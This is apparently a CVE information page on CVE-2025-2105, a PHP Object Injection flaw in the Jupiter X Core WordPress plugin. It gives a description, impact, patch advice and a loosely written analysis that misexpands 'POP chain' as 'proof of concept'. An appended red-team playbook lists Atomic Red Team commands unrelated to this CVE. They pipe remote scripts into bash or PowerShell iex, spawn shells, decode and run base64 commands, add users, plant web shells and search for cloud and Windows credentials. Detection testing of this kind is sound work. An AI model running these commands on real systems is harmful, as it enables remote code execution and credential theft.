CVE-2025-2105
Overview
This vulnerability is a PHP Object Injection caused by unsafe deserialization of untrusted input in the Jupiter X Core WordPress plugin. The flaw arises from the 'raven_download_file' function processing the 'file' parameter without proper validation, enabling injection of PHP objects via PHAR files. The affected component is the file download utility within the plugin, present in all versions up to and including 4.8.11.
Vulnerability Description
The Jupiter X Core plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.8.11 via deserialization of untrusted input from the 'file' parameter of the 'raven_download_file' function. This makes it possible for attackers to inject a PHP Object through a PHAR file. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. This vulnerability may be exploited by unauthenticated attackers when a form is present on the site with the file download action, and the ability to upload files is also present. Otherwise, this would be considered exploitable by Contributor-level users and above, because they could create the form needed to successfully exploit this.
Impact
An attacker can exploit this vulnerability to execute arbitrary code, delete files, or access sensitive data contingent on the presence of a POP chain in other installed plugins or themes. Exploitation requires either unauthenticated access if a vulnerable form with file download and upload capabilities exists, or Contributor-level privileges to create such a form. The CVSS vector indicates network attack with high complexity and no privileges required (AV:N/AC:H/PR:N/UI:N), emphasizing potential remote exploitation under specific conditions.
Solution
Upgrade the Jupiter X Core plugin to a version later than 4.8.11 where this vulnerability is addressed, as documented in the WordPress plugin repository at https://wordpress.org/plugins/jupiterx-core/. The Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/3427387e-30d2-40a5-9bfd-d458039d8e2e) provides detailed patch information. No specific workaround is noted; patching the plugin is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Jupiter X Core plugin for WordPress stems from a flaw in the handling of untrusted input during the deserialization process. Specifically, the issue arises within the 'raven_download_file' function, where the 'file' parameter can be manipulated to inject a PHP Object through a PHAR file. This type of vulnerability is categorized as PHP Object Injection, which can lead to severe consequences if exploited. The absence of a known "proof of concept" (POP) chain in the vulnerable software means that the risk is contingent upon the presence of additional plugins or themes that may facilitate exploitation. If such a chain exists, the potential for unauthorized actions, including file deletion, data retrieval, or arbitrary code execution, becomes a significant concern.
Attack vectors for this vulnerability are particularly concerning, as they allow unauthenticated attackers to exploit it under certain conditions. If a form is implemented on the site that includes a file download action alongside the capability to upload files, an attacker can leverage this to inject malicious PHP Objects. Alternatively, if the site has Contributor-level users or above, they could create the necessary form to exploit the vulnerability. This duality in exploitation scenarios highlights the need for vigilance in managing user roles and permissions, as well as the importance of scrutinizing any forms that allow file uploads or downloads.
The real-world impact of this vulnerability can be profound, particularly for businesses relying on the Jupiter X Core plugin for their WordPress sites. If an attacker successfully exploits the vulnerability, they could gain access to sensitive information, manipulate site content, or even take control of the server environment. The ramifications of such actions could lead to data breaches, loss of customer trust, and significant financial repercussions. Additionally, the potential for widespread exploitation increases if the vulnerable plugin is widely used across multiple sites, amplifying the risk to the broader ecosystem.
To effectively detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating the Jupiter X Core plugin to the latest version is crucial, as this will ensure that any patches or fixes are applied promptly. Furthermore, implementing web application firewalls (WAFs) can help to filter out malicious requests and prevent exploitation attempts. It is also advisable to conduct regular security audits and vulnerability assessments to identify any additional risks that may arise from the use of third-party plugins or themes. Educating users about the importance of secure coding practices and maintaining strict control over user permissions can further reduce the attack surface.
In conclusion, the vulnerability in the Jupiter X Core plugin for WordPress represents a significant threat, particularly in environments where additional plugins or themes may introduce a POP chain. The potential for exploitation by unauthenticated users, coupled with the severe consequences of successful attacks, necessitates a proactive approach to security. By implementing robust detection and mitigation strategies, organizations can safeguard their WordPress installations and protect sensitive data from malicious actors.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Artbees | Jupiter X Core | All |
cpe:2.3:a:artbees:jupiter_x_core:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
66%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-2105 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/3427387e-30d2-40a5-9bfd-d458039d8e2e?source=cve |
| wordpress.org |
GitHub CVE
|
https://wordpress.org/plugins/jupiterx-core/ |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3279676/jupiterx-core/trunk/includes/extensions/raven/includes/utils.php |